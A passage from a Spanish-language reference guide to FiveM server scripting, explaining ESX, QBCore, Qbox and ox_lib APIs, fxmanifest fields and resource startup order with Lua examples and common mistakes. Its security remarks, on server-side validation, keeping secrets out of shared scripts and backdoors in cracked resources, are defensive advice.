    onEnter = function()
        lib.showTextUI('[E] Abrir tienda')
    end,
    onExit = function()
        lib.hideTextUI()
    end,
})

En qué se equivoca todo el mundo

  • Crear la zona dentro de un CreateThread que se repite. Cada vuelta crea una zona nueva y el rendimiento se hunde.
  • Usar PolyZone sin declararla en el fxmanifest y comerse un «attempt to index a nil value (global 'CircleZone')».
  • Montar una zona con un bucle de distancia a mano cuando el target o lib.zones ya te lo dan resuelto y más barato.
Relacionado target (ox_target, qb-target), ox_lib, framework
notificacionesESXQBCoreQboxox

El aviso corto que sale en pantalla al jugador. Cada framework trae la suya (ESX.ShowNotification, QBCore.Functions.Notify) y ox_lib ofrece lib.notify, que funciona en todos.

Parece un detalle y es lo primero que te delata al portar un script. Las tres firmas son distintas, así que un ESX.ShowNotification dentro de un servidor QBCore no muestra nada y suele fallar en silencio.

ESX es la más simple, un texto y ya. QBCore añade el tipo (success, error, primary) para pintar el color. ox_lib recibe una tabla con title, description y type, y es la más completa además de la única que funciona igual con cualquier core.

Si estás escribiendo algo que quieres que sirva en varios servidores, usa lib.notify y ahórrate el problema. Si mantienes un recurso que debe seguir funcionando en ESX y en QBCore, envuelve la notificación en una función tuya y llama a esa, que es exactamente lo que hacen los bridges.

Las notificaciones son cliente, siempre. Desde el servidor se disparan con TriggerClientEvent hacia el jugador concreto.

Ejemplo · Tres firmas distintas y cómo unificarlas
-- ESX (cliente)
ESX.ShowNotification('Has cobrado la nómina')

-- QBCore (cliente)
QBCore.Functions.Notify('Has cobrado la nómina', 'success')

-- ox_lib (cliente): funciona con ESX, QBCore, Qbox y ox
lib.notify({
    title = 'Nómina',
    description = 'Has cobrado la nómina',
    type = 'success',      -- success | error | inform | warning
})

-- Función unificada (el patrón de un bridge)
local function avisar(texto, tipo)
    if GetResourceState('ox_lib') == 'started' then
        lib.notify({ description = texto, type = tipo or 'inform' })
    elseif GetResourceState('qb-core') == 'started' then
        exports['qb-core']:GetCoreObject().Functions.Notify(texto, tipo or 'primary')
    else
        exports['es_extended']:getSharedObject().ShowNotification(texto)
    end
end

En qué se equivoca todo el mundo

  • Dejar un ESX.ShowNotification en un script portado a QBCore. No sale nada y no siempre avisa en consola.
  • Pasar a QBCore.Functions.Notify un tipo que no existe. Los válidos son success, error y primary.
  • Llamar a la notificación desde el servidor como si fuera cliente. Hay que enviarla con TriggerClientEvent al source.
Relacionado ox_lib, framework, callback del framework
callback del frameworkESXQBCoreQboxox

El mecanismo con el que el cliente PREGUNTA algo al servidor y espera respuesta (cuánto dinero tengo, tengo la llave de esta casa). Cada framework tiene el suyo y ox_lib ofrece lib.callback.

Un evento normal es de ida. Un callback es de ida y vuelta, y por eso es la herramienta correcta cuando el cliente necesita un dato que solo el servidor conoce de verdad. Nunca guardes ese dato en el cliente para ahorrarte la pregunta, porque el cliente es manipulable.

ESX lo hace con ESX.RegisterServerCallback en servidor y ESX.TriggerServerCallback en cliente, y la respuesta llega por función de callback. QBCore hace lo mismo con CreateCallback y TriggerCallback. Los dos comparten la misma trampa, si tu función del servidor no llama a cb(...) el cliente se queda esperando para siempre.

ox_lib cambió el patrón y es el que se usa en Qbox y en ox. En el servidor registras con lib.callback.register y simplemente devuelves con return. En el cliente lib.callback.await te devuelve el valor como si fuera una llamada normal, sin anidar funciones.

El await de ox_lib solo se puede llamar dentro de un hilo o de un evento. Si lo pones en la raíz del script, durante la carga del recurso, cuelga.

Ejemplo · El mismo saldo pedido de tres formas
-- ESX
-- server.lua
ESX.RegisterServerCallback('mi_recurso:saldo', function(source, cb)
    local xPlayer = ESX.GetPlayerFromId(source)
    cb(xPlayer.getAccount('bank').money)     -- SIEMPRE hay que llamar a cb
end)
-- client.lua
ESX.TriggerServerCallback('mi_recurso:saldo', function(saldo)
    print(saldo)
end)

-- QBCore
-- server.lua
QBCore.Functions.CreateCallback('mi_recurso:saldo', function(source, cb)
    local Player = QBCore.Functions.GetPlayer(source)
    cb(Player.PlayerData.money.bank)
end)
-- client.lua
QBCore.Functions.TriggerCallback('mi_recurso:saldo', function(saldo)
    print(saldo)
end)

-- ox_lib (Qbox / ox): con return y await, sin anidar
-- server.lua
lib.callback.register('mi_recurso:saldo', function(source)
    return exports.qbx_core:GetMoney(source, 'bank')
end)
-- client.lua (dentro de un hilo o de un evento, nunca en la raíz)
CreateThread(function()
    local saldo = lib.callback.await('mi_recurso:saldo', false)
    print(saldo)
end)

En qué se equivoca todo el mundo

  • Olvidar el cb(...) en ESX o QBCore. El cliente se queda colgado esperando una respuesta que no llega.
  • Llamar a lib.callback.await en la carga del recurso, fuera de un hilo. Bloquea.
  • Confiar en lo que el cliente manda dentro del callback. El servidor tiene que validar igual que en cualquier otro evento.
Relacionado ox_lib, framework, notificaciones
dinero (cash, bank, black_money)ESXQBCoreQbox

El saldo del personaje, separado en efectivo y banco. ESX lo modela como cuentas (money, bank, black_money) y QBCore como tipos de dinero (cash, bank, crypto).

En ESX el efectivo es una cuenta que se llama money, y la trampa que se lleva por delante a medio mundo es que addMoney(n) opera sobre esa cuenta, no sobre el banco. Para el banco hay que decirlo explícitamente con addAccountMoney('bank', n). Confundirlos descuadra la economía del servidor sin que salga ningún error.

En QBCore y Qbox no hay cuentas, hay tipos, y el tipo se pasa siempre como primer argumento. AddMoney('cash', 500, 'motivo') o AddMoney('bank', 500, 'motivo'). El tercer argumento es la razón, y aunque es opcional en la práctica es lo que te salva cuando tienes que auditar de dónde salió el dinero.

El dinero negro es la diferencia conceptual más grande. ESX lo trae de serie como una cuenta aparte, black_money, que se lava en un negocio. QBCore y Qbox no tienen esa cuenta, lo modelan con un ítem (los billetes marcados, markedbills) o con crypto. Portar un script de blanqueo de ESX a QBCore sin darse cuenta de esto es garantía de que no funciona.

Todo lo que toca dinero se ejecuta en el servidor. Sin excepción. Un evento de servidor que reciba la cantidad desde el cliente y la sume sin validar es exactamente por donde se duplican los millones.

Ejemplo · Cuentas de ESX contra tipos de QBCore
-- ESX: efectivo y banco son CUENTAS distintas
xPlayer.addMoney(500)                          -- efectivo (cuenta 'money')
xPlayer.addAccountMoney('bank', 500)           -- banco
xPlayer.removeAccountMoney('bank', 500)
local saldo = xPlayer.getAccount('bank').money
xPlayer.addAccountMoney('black_money', 500)    -- dinero negro, nativo en ESX

-- QBCore: el tipo va como primer argumento
Player.Functions.AddMoney('cash', 500, 'venta')
Player.Functions.AddMoney('bank', 500, 'nomina')
Player.Functions.RemoveMoney('bank', 500, 'multa')
local saldo = Player.PlayerData.money.bank
-- No hay cuenta de dinero negro: se modela con un ítem (markedbills) o crypto.

-- Qbox: exports directos
exports.qbx_core:AddMoney(src, 'bank', 500, 'nomina')
local saldo = exports.qbx_core:GetMoney(src, 'bank')

En qué se equivoca todo el mundo

  • Usar xPlayer.addMoney creyendo que ingresa en el banco. Toca el efectivo.
  • Buscar la cuenta black_money en QBCore. No existe, ahí el dinero sucio es un ítem.
  • Aceptar la cantidad que manda el cliente sin comprobarla. Es el exploit de duplicación más común que existe.
identificador del jugador (identifier, citizenid)ESXQBCoreQboxox

La clave con la que el framework reconoce a un personaje entre sesiones. En ESX es el identifier (basado en la license), en QBCore y Qbox es el citizenid, y en ox_core es el charId.

No confundas tres cosas que la gente mezcla todo el rato. El source es el número de conexión del jugador y cambia en cada reconexión, así que sirve para hablar con él ahora pero no para guardarlo en base de datos. La license es lo que identifica la cuenta de Rockstar y no cambia nunca. Y el identifier o el citizenid es lo que identifica al PERSONAJE, que es lo que quieres guardar.

La diferencia práctica entre ESX y QBCore es grande. En ESX el identifier es la license del jugador, así que un jugador tiene un identifier y punto. En QBCore y Qbox el citizenid es del personaje, y una misma license puede tener varios personajes con citizenid distinto, que es como funciona el multicharacter.

Por eso son incompatibles y no se pueden mezclar. Una tabla propia con una columna identifier no se puede reutilizar tal cual en un servidor QBCore, y migrar de un framework al otro implica traducir esa clave en todas tus tablas.

Para cosas de administración y bans, usa la license o los identificadores nativos con GetPlayerIdentifierByType(src, 'license'), que no dependen del framework y sobreviven a un borrado de personajes.

Ejemplo · La clave del personaje en cada framework
-- ESX: identifier (la license del jugador)
local id = xPlayer.identifier
-- 'license:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

-- QBCore / Qbox: citizenid (del PERSONAJE, no de la cuenta)
local id = Player.PlayerData.citizenid

-- ox_core
local id = player.charId

-- Nativo de FiveM, independiente del framework (útil para bans y logs)
local license = GetPlayerIdentifierByType(src, 'license')

-- Guardar en tu tabla: usa el identificador del personaje, NUNCA el source
-- MySQL.insert('INSERT INTO mi_tabla (owner, dato) VALUES (?, ?)', { id, dato })

En qué se equivoca todo el mundo

  • Guardar el source en base de datos. Al reconectar el jugador ese número es de otra persona.
  • Mezclar citizenid e identifier en la misma tabla al portar un script. Son formatos distintos y no casan.
  • Asumir que un jugador tiene un solo personaje en QBCore. El multicharacter es la norma, y cada personaje tiene su citizenid.
Relacionado xPlayer, Player (QBCore), ox_core

Recursos y scripting

Cómo se organiza y arranca el código.

recurso (resource)

La unidad básica de FiveM. Una carpeta dentro de resources/ con su fxmanifest.lua y sus scripts. Un servidor no es más que un montón de recursos arrancados con ensure.

En FiveM no existe el concepto de script suelto. Todo lo que corre en tu servidor vive dentro de un recurso, y cada recurso es una caja bastante hermética con su propio nombre, sus propios eventos y sus propios exports. Esa separación es lo que permite que puedas parar, arrancar o reiniciar una pieza sin tocar el resto del servidor.

Un recurso tiene tres lados posibles. El cliente corre en el PC de cada jugador (dibuja, lee teclas, muestra el mundo). El servidor corre en tu máquina y es la autoridad. Lo compartido se carga en ambos y sirve para el config y las tablas de datos comunes. Qué archivo va a qué lado lo decides tú en el fxmanifest.lua, y equivocarte de lado es una de las causas más frecuentes de errores raros.

Un recurso puede ser un script, un mapa (MLO), un pack de coches o una interfaz NUI. Cambia el contenido, no la estructura. La carpeta con corchetes ([esx], [maps], [local]) no es un recurso, solo agrupa recursos, y por eso no lleva fxmanifest.lua.

Regla práctica que ahorra disgustos. Un recurso, una responsabilidad. Es mucho mejor tener mi_hud y mi_garaje por separado que un mega recurso que lo hace todo, porque cuando algo falle vas a querer reiniciar solo la pieza rota.

Ejemplo · Anatomía mínima de un recurso
resources/
└── [local]/
    └── mi_recurso/
        ├── fxmanifest.lua   -- obligatorio, define el recurso
        ├── config.lua       -- shared: se carga en los dos lados
        ├── client.lua       -- corre en el PC del jugador (NO es de fiar)
        └── server.lua       -- corre en tu servidor (la autoridad)

En qué se equivoca todo el mundo

  • Poner la carpeta fuera de resources/. FiveM no la encontrará jamás, por muchos ensure que le pongas.
  • Nombres con mayúsculas, espacios o acentos. Usa minúsculas y guiones bajos (mi_garaje, nunca «Mi Garaje»).
  • Confundir un grupo con un recurso e intentar ensure [maps]/mi_mapa. El recurso se llama mi_mapa, los corchetes solo lo agrupan.
fxmanifest.lua

El archivo que define un recurso. Declara qué scripts se cargan en cada lado, qué archivos necesita el cliente, las dependencias y la versión del manifiesto. Sin él, el recurso no arranca.

El fxmanifest.lua no es código que se ejecuta, es una declaración. El servidor lo lee al arrancar el recurso para saber qué archivos existen, en qué orden cargarlos y en qué lado. Si el manifiesto miente (declara un archivo que no está, o se olvida de uno que sí hace falta), el recurso se queda en rojo y la consola escupe un couldn't start resource.

Su estructura es siempre la misma. Arriba van las dos líneas obligatorias (fx_version y game), luego los metadatos (name, author, description, version), luego los bloques de scripts (shared_scripts, client_scripts, server_scripts) y por último lo específico del recurso (files, ui_page, data_file, dependencies).

Acepta comodines, así que no hace falta listar archivo por archivo. client_scripts { 'client/*.lua' } carga todos los .lua de esa carpeta, aunque el orden alfabético manda, y eso importa si un archivo depende de otro. Cuando el orden es crítico, lista los archivos a mano en el orden que quieres.

El prefijo @ sirve para cargar un archivo de OTRO recurso. Es como se importan ox_lib, oxmysql o los imports de ESX, y es la fuente del clásico error de lib nil cuando se te olvida ponerlo.

Ejemplo · fxmanifest.lua completo y correcto
fx_version 'cerulean'
game 'gta5'

name 'mi_recurso'
author 'TuNombre'
description 'Mi recurso de FiveM'
version '1.0.0'

-- Compartido, se carga en cliente Y servidor
shared_scripts {
    '@ox_lib/init.lua',   -- el @ carga un archivo de OTRO recurso
    'config.lua',
}

client_scripts { 'client/*.lua' }

server_scripts {
    '@oxmysql/lib/MySQL.lua',
    'server/*.lua',
}

dependencies {
    'ox_lib',
    'oxmysql',
}

En qué se equivoca todo el mundo

  • Olvidar fx_version o game. Son obligatorios y sin ellos el recurso ni se intenta cargar.
  • Declarar un archivo que no existe con ese nombre exacto. FiveM distingue mayúsculas en Linux, así que Client.lua no es client.lua.
  • Meter '@ox_lib/init.lua' en client_scripts en vez de en shared_scripts. Luego lib es nil en el servidor y no entiendes por qué.
fx_version y game

Las dos líneas obligatorias de todo fxmanifest. fx_version fija la versión del formato del manifiesto (hoy siempre 'cerulean') y game el juego objetivo ('gta5' para FiveM, 'rdr3' para RedM).

fx_version no es la versión de tu recurso, es la versión del propio formato de manifiesto. Cada versión (adamant, bodacious, cerulean) fue añadiendo comportamiento al runtime. Hoy la respuesta correcta es siempre 'cerulean', que es la que habilita todo lo moderno. Copiar un manifiesto viejo con 'adamant' te va a dar comportamientos raros que no vas a saber explicar.

game dice para qué juego es el recurso. 'gta5' es FiveM. 'rdr3' es RedM, y además obliga a poner una línea rdr3_warning aceptando que es una build de preproducción. Si haces un recurso solo de servidor que valga para ambos puedes poner game 'common', aunque casi nunca lo necesitarás.

Si alguna de estas dos líneas falta, el recurso no arranca y punto. Es lo primero que hay que mirar cuando la consola dice couldn't start resource sin dar más pistas.

Ejemplo · Las dos líneas sin las que nada funciona
-- FiveM (lo normal)
fx_version 'cerulean'
game 'gta5'

-- RedM (necesita además el aviso)
-- fx_version 'cerulean'
-- game 'rdr3'
-- rdr3_warning 'I acknowledge that this is a prerelease build of RedM, and I am aware my resources *will* become incompatible once RedM ships.'

En qué se equivoca todo el mundo

  • Copiar un fxmanifest antiguo con fx_version 'adamant' o 'bodacious' y arrastrar limitaciones que ya nadie tiene.
  • Escribir game 'gtav' o game 'GTA5'. Es exactamente 'gta5', en minúsculas.
  • Confundir fx_version con la versión de tu recurso. Esa va en la línea version.
Relacionado fxmanifest.lua, versión del recurso (version), lua54
client_scripts, server_scripts y shared_scripts

Los tres bloques del fxmanifest que deciden dónde se ejecuta cada archivo. Cliente en el PC del jugador, servidor en tu máquina, compartido en los dos.

Esta elección no es cosmética, es de seguridad. Todo lo que pongas en client_scripts vive en el ordenador del jugador, o sea que se puede leer y se puede manipular. Todo lo que pongas en server_scripts corre en tu máquina y nadie lo toca. Por eso el dinero, el inventario, los permisos y la base de datos van SIEMPRE en el servidor, y el cliente se limita a pedir cosas y a pintar la pantalla.

shared_scripts se carga en ambos lados, lo que lo hace perfecto para el config.lua y para tablas de datos que los dos necesitan (precios, coordenadas, textos). Ojo con una consecuencia que se olvida mucho. Si metes una clave, un webhook o un secreto en un shared_script, se lo estás enviando también al cliente, y ahí lo puede leer cualquiera.

Los tres bloques aceptan comodines y cargan en el orden en que los declaras. Cuando un archivo depende de otro (por ejemplo funciones.lua antes que main.lua), lístalos en orden explícito en vez de fiarte del glob.

Un native de cliente no existe en el servidor y al revés. Llamar a PlayerPedId() desde server.lua o a GetPlayerIdentifiers() desde client.lua es la típica causa de attempt to call a nil value que te deja mirando la pantalla diez minutos.

Ejemplo · Qué va en cada lado, y qué no
-- fxmanifest.lua
shared_scripts { 'config.lua' }        -- lo ven los dos lados (¡y el jugador!)
client_scripts { 'client/main.lua' }   -- manipulable
server_scripts { 'server/main.lua' }   -- la autoridad

-- config.lua (shared), datos públicos, NUNCA secretos
Config = {}
Config.Precio = 250

-- server/main.lua, los secretos SOLO aquí, y mejor por convar
local WEBHOOK = GetConvar('mi_webhook', '')

En qué se equivoca todo el mundo

  • Poner una API key, un webhook o una contraseña en un shared_script. Se lo mandas al cliente sin darte cuenta.
  • Escribir la lógica de dinero o de items en client.lua. Es la puerta de entrada más común para las trampas.
  • Llamar natives del lado equivocado y culpar al framework del nil resultante.
files y ui_page

files declara los archivos que NO son scripts pero que el cliente debe poder descargar (HTML, CSS, imágenes, .meta). ui_page indica cuál de esos HTML se renderiza como interfaz NUI encima del juego.

El cliente solo puede leer un archivo del recurso si está declarado. Un script se declara con client_scripts, pero un index.html, un style.css, una fuente o un .meta de vehículo necesitan estar en el bloque files. Si te lo saltas, el archivo simplemente no existe para el cliente y tu NUI aparece en blanco sin ningún error claro en consola.

ui_page apunta a la página que se dibuja como capa NUI. Puede ser una ruta local ('html/index.html') y esa misma ruta tiene que aparecer también en files. Es el fallo número uno de las primeras NUI, declarar ui_page y olvidarse del files.

files acepta comodines, así que 'html/**/*' o 'html/img/*.png' te ahorran listar cincuenta archivos. Aun así, para builds de React o Vue conviene declarar la carpeta compilada entera y no los fuentes.

Hay un primo hermano de files que conviene distinguir. data_file registra un archivo como dato nativo del juego (un handling.meta, un vehicles.meta), y suele ir acompañado de su entrada en files. Uno hace que el archivo viaje, el otro hace que el juego lo entienda.

Ejemplo · ui_page siempre acompañado de su files
-- fxmanifest.lua
ui_page 'html/index.html'

files {
    'html/index.html',
    'html/style.css',
    'html/app.js',
    'html/img/*.png',
}

-- Un .meta de vehículo necesita las DOS líneas
files { 'data/vehicles.meta' }
data_file 'VEHICLE_METADATA_FILE' 'data/vehicles.meta'

En qué se equivoca todo el mundo

  • Poner ui_page y no listar el HTML en files. Resultado, pantalla NUI vacía y ninguna pista en la consola.
  • Rutas que no coinciden en mayúsculas. En un servidor Linux html/Index.html no es html/index.html.
  • Declarar el archivo .meta en files pero olvidar el data_file (o al revés). Hacen falta los dos.
Relacionado fxmanifest.lua, NUI, recurso (resource)
dependencies

El bloque del fxmanifest que declara qué otros recursos deben estar arrancados para que el tuyo funcione. Si falta uno, el recurso no arranca y la consola te dice cuál.

dependencies es una comprobación, no un instalador. FiveM mira si esos recursos están arrancados en el momento en que arranca el tuyo. Si no lo están, el tuyo se niega a arrancar. Lo que NO hace es arrancarlos por ti ni reordenar tu server.cfg, así que el orden lo sigues poniendo tú con los ensure.

Merece la pena declararla aunque el servidor ya arranque bien hoy. El día que alguien pare oxmysql para depurar algo, tu recurso fallará con un mensaje honesto (falta oxmysql) en vez de con un attempt to index a nil value dentro de una función tuya a las tres de la mañana.

Existen dependencias especiales que no son recursos. dependency '/server:5848' exige una versión mínima del artefacto, '/onesync' exige OneSync activo y '/gameBuild:2802' una build concreta del juego. Se declaran con la forma singular dependency porque van sueltas.

Y hay una trampa clásica. Declarar la dependencia no te libra de esperar. Si tu recurso lee algo de otro en el momento de cargarse, puede que el otro haya arrancado pero aún no haya terminado de inicializarse. Lo robusto es pedirle las cosas dentro de un hilo o de un evento, no en la primera línea del archivo.

Ejemplo · dependencies comprueba, no arranca
-- Varias dependencias
dependencies {
    'es_extended',
    'oxmysql',
    'ox_lib',
}

-- Una sola, o las especiales, en singular
dependency 'ox_target'
dependency '/onesync'
dependency '/server:5848'   -- artefacto mínimo

En qué se equivoca todo el mundo

  • Creer que dependencies ordena el arranque. El orden real lo manda el server.cfg, esto solo verifica.
  • Escribir el nombre del recurso con guion cuando lleva guion bajo (ox-lib en vez de ox_lib). No lo encuentra y no arranca.
  • Depender de un recurso y aun así leerlo en la carga del archivo, sin esperar a que esté listo.
provide

La línea del fxmanifest con la que un recurso declara que sustituye a otro. Sirve para que los scripts que dependen del original acepten tu reemplazo sin tocar su código.

El caso típico es un sistema de notificaciones. Media ciudad de scripts trae dependency 'mythic_notify' y tú quieres usar tu propio recurso. Si tu recurso declara provide 'mythic_notify', esos scripts ven satisfecha su dependencia y arrancan, mientras tú te encargas de registrar los mismos eventos o exports que ellos esperan.

provide solo resuelve la comprobación de dependencia y el nombre. NO implementa la API del recurso original. Sigues teniendo que exponer los mismos eventos y exports con las mismas firmas, o los scripts arrancarán y luego fallarán al llamarte. Es una promesa que tú tienes que cumplir a mano.

Consecuencia importante. No puedes tener arrancado a la vez el recurso original y otro que lo provee, porque el nombre colisiona y uno de los dos se queda fuera. Si migras a un reemplazo, quita el ensure del original.

Es la base de los llamados bridges, esos recursos que fingen ser qb-core o es_extended para que los scripts viejos sigan funcionando encima de un core moderno como qbx_core.

Ejemplo · provide satisface la dependencia, tú replicas la API
-- fxmanifest.lua de mi_notify, un reemplazo de mythic_notify
fx_version 'cerulean'
game 'gta5'

provide 'mythic_notify'

client_scripts { 'client.lua' }

-- client.lua: hay que replicar la API que los otros scripts esperan
RegisterNetEvent('mythic_notify:client:SendAlert', function(data)
    lib.notify({ description = data.text, type = data.type })
end)

En qué se equivoca todo el mundo

  • Poner provide y no implementar los eventos o exports del original. Los scripts arrancan y revientan al primer uso.
  • Dejar arrancados a la vez el recurso original y el que lo provee. El nombre choca.
  • Usar provide para «engañar» a un script de pago sobre su dependencia real. Vas a acabar depurando un fantasma.
Relacionado dependencies, export (exports[...]), fxmanifest.lua
escrow_ignore

La lista del fxmanifest con los archivos que quedan legibles y editables aunque el recurso esté cifrado con el sistema de escrow de FiveM. Es la única puerta abierta de un script de pago.

Casi todos los scripts de pago (Quasar, Rcore, Origen, Jaksam, Wasabi en su versión escrow) usan FiveM Asset Escrow. El código core viaja cifrado en un .fxap y no se puede leer ni editar. Lo que el autor deja fuera del cifrado es exactamente lo que aparece en escrow_ignore, y suele ser el config.lua, los locales y alguna carpeta de integración.

Esto marca el límite práctico de lo que puedes hacer con un script comprado. Puedes cambiar precios, coordenadas, textos e integraciones. No puedes reescribir su lógica interna. Para añadir comportamiento nuevo se usan sus exports y sus eventos, o las carpetas custom e integrations que el autor haya dejado abiertas, nunca un fork del core cifrado.

Si estás publicando TU recurso con escrow, escrow_ignore es lo que decide si tu cliente puede configurarlo o va a acabar pidiéndote soporte por todo. Deja abierto el config, los locales y cualquier archivo de integración, y cifra solo la lógica.

Descifrar o crackear un asset con escrow no es una opción. Es ilegal, rompe la licencia y además los recursos que circulan ya crackeados son la vía número uno de entrada de backdoors en un servidor.

Ejemplo · Lo que queda abierto en un recurso con escrow
fx_version 'cerulean'
game 'gta5'

shared_scripts { 'config.lua', 'locales/*.lua' }
client_scripts { 'client/main.lua' }   -- irá cifrado
server_scripts { 'server/main.lua' }   -- irá cifrado

-- Lo único que el comprador podrá abrir y editar
escrow_ignore {
    'config.lua',
    'locales/*.lua',
    'integrations/*.lua',
}

En qué se equivoca todo el mundo

  • Comprar un script y prometerte que «ya editarás la lógica». Si va con escrow, no vas a poder.
  • Publicar un recurso con escrow y dejar el config fuera de escrow_ignore. Tu cliente no puede configurar nada.
  • Ver un «Failed to verify protected resource» y tocar el config. Ese error es de la key y la cuenta de Cfx, no de la configuración.
Relacionado fxmanifest.lua, backdoor, export (exports[...])
export (exports[...])

La forma de que un recurso ofrezca una función a otros recursos. Se registra con exports('Nombre', fn) y se llama con exports['mi_recurso']:Nombre(args). Es la alternativa limpia a comunicarse por eventos.

Un export es una llamada de función directa entre recursos del MISMO lado. Devuelve un valor al momento, sin ir y venir por la red, así que es la herramienta natural para pedirle algo a otro recurso (dame el saldo, dame el item, comprueba si este jugador tiene tal trabajo). Los eventos, en cambio, son de aviso y no devuelven nada.

Lo que hay que grabarse es que un export tiene lado. Un export registrado en server.lua NO existe en el cliente, y al revés. La mitad de los No such export in resource son precisamente eso, llamar desde el lado equivocado. La otra mitad son el nombre mal escrito o el recurso que no ha arrancado todavía.

Todo el ecosistema moderno funciona así. exports['es_extended']:getSharedObject(), exports['qb-core']:GetCoreObject(), exports.ox_inventory:AddItem(src, item, count) o exports.qbx_core:GetPlayer(src). Fíjate en que hay dos sintaxis equivalentes, con corchetes cuando el nombre lleva guion y con punto cuando es un identificador válido de Lua.

Cuidado con un detalle de seguridad que se pasa por alto. Un export de servidor puede ser llamado por CUALQUIER otro recurso del servidor, incluido un recurso comprometido. Si tu export es DarDinero(src, cantidad) sin ninguna comprobación, cualquier backdoor que entre en tu servidor tiene una impresora de billetes lista para usar.

Ejemplo · Registrar y consumir un export en el mismo lado
-- mi_banco/server.lua, registrar el export
local Saldos = {}

exports('GetSaldo', function(src)
    return Saldos[src] or 0
end)

-- otro_recurso/server.lua, consumirlo (mismo lado, servidor)
local saldo = exports['mi_banco']:GetSaldo(source)
if saldo >= 100 then
    -- ...
end

-- Sintaxis con punto cuando el nombre es válido en Lua (sin guiones)
local Player = exports.qbx_core:GetPlayer(source)

En qué se equivoca todo el mundo

  • Llamar desde el cliente un export que está registrado en el servidor. No existe, y salta No such export.
  • Escribir mal el nombre del recurso (ox-inventory en vez de ox_inventory). Es sensible a mayúsculas y a guiones.
  • Llamar al export en la primera línea del archivo, antes de que el recurso que lo provee haya terminado de arrancar.
lua54

La línea lua54 'yes' del fxmanifest, que hace que ese recurso se ejecute con Lua 5.4 en vez del runtime clásico. Habilita enteros reales, operadores de bits y división entera.

Sin lua54 tu recurso corre en el Lua estándar de Cfx, que es 5.3 con extensiones. Con lua54 'yes' pasas a Lua 5.4, y ganas cosas que se agradecen bastante. Operadores de bits nativos, división entera con //, mejor rendimiento en general y goto sin sorpresas.

Lo que casi nadie te cuenta es que también cambia cómo se imprimen y se comportan los números. En 5.4 un entero es un entero de verdad, así que 10 / 2 te da 5.0 (float) mientras que 10 // 2 te da 5 (entero). Si tu código construye strings con números y algún sitio espera «5» y recibe «5.0», te vas a encontrar comparaciones que fallan sin motivo aparente.

Es una decisión por recurso, no del servidor entero. Puedes tener unos recursos con lua54 y otros sin él conviviendo sin problema, porque cada uno tiene su propio runtime. Los frameworks modernos (ox_core, ND_Core y buena parte del ecosistema ox) lo dan por hecho.

Regla sencilla. En un recurso nuevo, actívalo. En un recurso heredado que ya funciona, no lo actives sin probar, porque los cambios de tipos numéricos son sutiles y pueden pasar desapercibidos hasta que un jugador se queja.

Ejemplo · lua54 da bits y enteros, pero cambia cómo salen los números
-- fxmanifest.lua
fx_version 'cerulean'
game 'gta5'
lua54 'yes'

-- Lo que desbloquea
local mitad = 7 // 2        -- 3 (división entera)
local resto = 7 % 2         -- 1
local flags = 0x1 | 0x4     -- operadores de bits nativos
local tiene = (flags & 0x4) ~= 0

-- OJO con los tipos
print(10 / 2)               -- 5.0  (float)
print(10 // 2)              -- 5    (entero)

En qué se equivoca todo el mundo

  • Usar | o & sin poner lua54 'yes'. Da un error de sintaxis que no dice nada sobre la causa real.
  • Activarlo en un recurso viejo y encontrarse con «5.0» donde antes salía «5», rompiendo comparaciones o textos.
  • Creer que es una opción del servidor. Se declara recurso por recurso, en su propio fxmanifest.
Relacionado fx_version y game, fxmanifest.lua, CreateThread y Wait
versión del recurso (version)

La línea version '1.0.0' del fxmanifest. Es un metadato, no afecta a la ejecución, pero es lo que ves en txAdmin y lo que te dice qué copia de un recurso tienes instalada.

No confundas version con fx_version. fx_version es la versión del formato del manifiesto (siempre 'cerulean'). version es la versión de TU recurso, y la eliges tú. Junto a name, author y description forma el bloque de metadatos que aparece en la consola y en el panel de txAdmin.

Parece cosmético hasta el día en que tienes tres copias del mismo script repartidas entre tu servidor de pruebas, el de producción y una carpeta de backups, y no sabes cuál es cuál. Con una version bien mantenida (semántico basta, mayor.menor.parche) esa duda se resuelve mirando el manifiesto.

Además, algunos recursos comprueban la versión de sus dependencias, y el propio FiveM puede avisarte en consola si el autor publica un archivo de versiones. Si publicas recursos para otros, súbela en cada release y describe qué cambió.

Y hay un uso interno muy práctico. Puedes leer tus propios metadatos en runtime con GetResourceMetadata, lo que sirve para imprimir la versión al arrancar y saber de un vistazo qué está corriendo de verdad en el servidor.

Ejemplo · Declarar la versión y leerla en runtime
-- fxmanifest.lua
name 'mi_recurso'
author 'TuNombre'
description 'Sistema de garajes'
version '1.4.2'

-- server.lua, imprime la versión real al arrancar
AddEventHandler('onResourceStart', function(res)
    if res ~= GetCurrentResourceName() then return end
    local v = GetResourceMetadata(res, 'version', 0)
    print(('^2[%s]^0 arrancado, version %s'):format(res, v or 'desconocida'))
end)

En qué se equivoca todo el mundo

  • Dejar version '1.0.0' para siempre y no saber nunca qué copia tienes desplegada.
  • Confundirla con fx_version y cambiar 'cerulean' por un número. El recurso deja de arrancar.
  • Actualizar un recurso sobreescribiendo la carpeta sin mirar la versión previa ni el changelog, y perder los cambios del config.
Relacionado fxmanifest.lua, fx_version y game, recurso (resource)
orden de arranque y dependencias

El orden de los ensure en el server.cfg es el orden real en que arrancan los recursos. Si un recurso arranca antes que aquello de lo que depende, falla, y casi siempre con un error que no menciona la causa.

FiveM no adivina el orden. Lee tu server.cfg de arriba abajo y arranca lo que le pides en ese orden. Por eso la regla es siempre la misma. Primero la base de datos (oxmysql), luego las librerías (ox_lib), luego el inventario y el target, luego el core (es_extended, qb-core o qbx_core) y al final tus recursos.

El síntoma cuando te lo saltas es engañoso. No suele salir un mensaje que diga «orden incorrecto», sale un attempt to index a nil value (global 'ESX') o un No such export in resource. Es tu recurso preguntándole algo a un framework que todavía no existía cuando él arrancó.

El bloque dependencies del fxmanifest ayuda pero no arregla el orden. Lo que hace es negarse a arrancar si la dependencia no está corriendo, lo cual convierte un error críptico en un error honesto. Sigue siendo tu server.cfg el que decide quién va primero.

Para lo que no puedas ordenar (recursos de terceros, recursos que se reinician en caliente), el patrón robusto es no pedir nada en la carga del archivo, sino dentro de onResourceStart o de un hilo que espere. Así tu recurso sobrevive a un reinicio del framework en vez de quedarse tonto hasta el siguiente reinicio del servidor.

Ejemplo · El orden del cfg manda, pero el código puede protegerse solo
-- MAL: pide el core en la carga del archivo. Si el core aún no está, ESX queda nil.
ESX = exports['es_extended']:getSharedObject()

-- BIEN: espera a que el recurso esté realmente en marcha
CreateThread(function()
    while GetResourceState('es_extended') ~= 'started' do
        Wait(100)
    end
    ESX = exports['es_extended']:getSharedObject()
    print('ESX listo')
end)

En qué se equivoca todo el mundo

